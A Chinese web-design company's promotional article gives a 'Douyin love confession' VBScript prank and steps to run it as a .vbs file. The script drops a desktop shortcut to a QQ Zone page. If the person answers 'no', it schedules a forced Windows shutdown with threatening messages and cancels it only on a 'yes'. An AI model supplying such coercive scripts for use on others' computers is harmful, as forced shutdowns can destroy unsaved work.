资讯

精准传达 • 有效沟通

从品牌网站建设到网络营销策划,从策略到执行的一站式服务

抖音vbscript表白代码怎么用-创新互联

这篇文章主要介绍了抖音vbscript表白代码怎么用,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

成都创新互联公司主要从事成都网站制作、网站建设、外贸网站建设、网页设计、企业做网站、公司建网站等业务。立足成都服务碑林,10余年网站建设经验,价格优惠、服务专业,欢迎来电咨询建站服务:13518219792

创新互联网站建设公司,以前就收录了类似这样的属于恶作剧的代码,其实就是判读如果不是你想要的结果就是死循环。

抖音vbscript表白代码怎么用

步骤一:

在电脑上新建一个txt文件。

步骤二:

打开txt文件,复制以下代码粘贴进去(可以修改中文部分,其它代码不要动!)。保存并关闭txt文件。

Set Seven = WScript.CreateObject("WScript.Shell")
strDesktop = Seven.SpecialFolders("AllUsersDesktop")
set oShellLink = Seven.CreateShortcut(strDesktop & "\Seven.url")
oShellLink.TargetPath = "http://user.qzone.qq.com/985390927"
oShellLink.Save
Sub ak47
Set oShellLink=Nothing
seven.Run "notepad",3
WScript.Sleep 500
seven.SendKeys " I "
WScript.Sleep 500
seven.SendKeys "L"
WScript.Sleep 500
seven.SendKeys "o"
WScript.Sleep 500
seven.SendKeys "v"
WScript.Sleep 500
seven.SendKeys "e "
WScript.Sleep 500
seven.SendKeys "Y"
WScript.Sleep 500
seven.SendKeys "o"
WScript.Sleep 500
seven.SendKeys "u Too"
End Sub
se_key = (MsgBox("你是我弟弟?",4,"Seven_下午"&Time))
If se_key=6 Then
Call ak47
Else
seven.Run "shutdown.exe -s -t 600"
agn=(MsgBox ("你死定了,在给你一次机会,你是不是",52,"提示"))
If agn=6 Then
seven.Run "shutdown.exe -a"
MsgBox "好弟弟,你真乖",,"恭喜"
WScript.Sleep 500
Call ak47
Else
MsgBox "你可以去死了",48,"wo cao"
End If
End If

步骤三:

抖音vbscript表白代码怎么用

将txt文件名称后面的“.txt”改为“.vbs”。

步骤四:

抖音vbscript表白代码怎么用

双击改名后的vbs文件即可看到和抖音视频上一样的效果。

感谢你能够认真阅读完这篇文章,希望小编分享的“抖音vbscript表白代码怎么用”这篇文章对大家有帮助,同时也希望大家多多支持创新互联网站建设公司,,关注创新互联行业资讯频道,更多相关知识等着你来学习!


文章标题:抖音vbscript表白代码怎么用-创新互联
分享网址:http://cdkjz.cn/article/jhihc.html
多年建站经验

多一份参考,总有益处

联系快上网,免费获得专属《策划方案》及报价

咨询相关问题或预约面谈,可以通过以下方式与我们联系

大客户专线   成都:13518219792   座机:028-86922220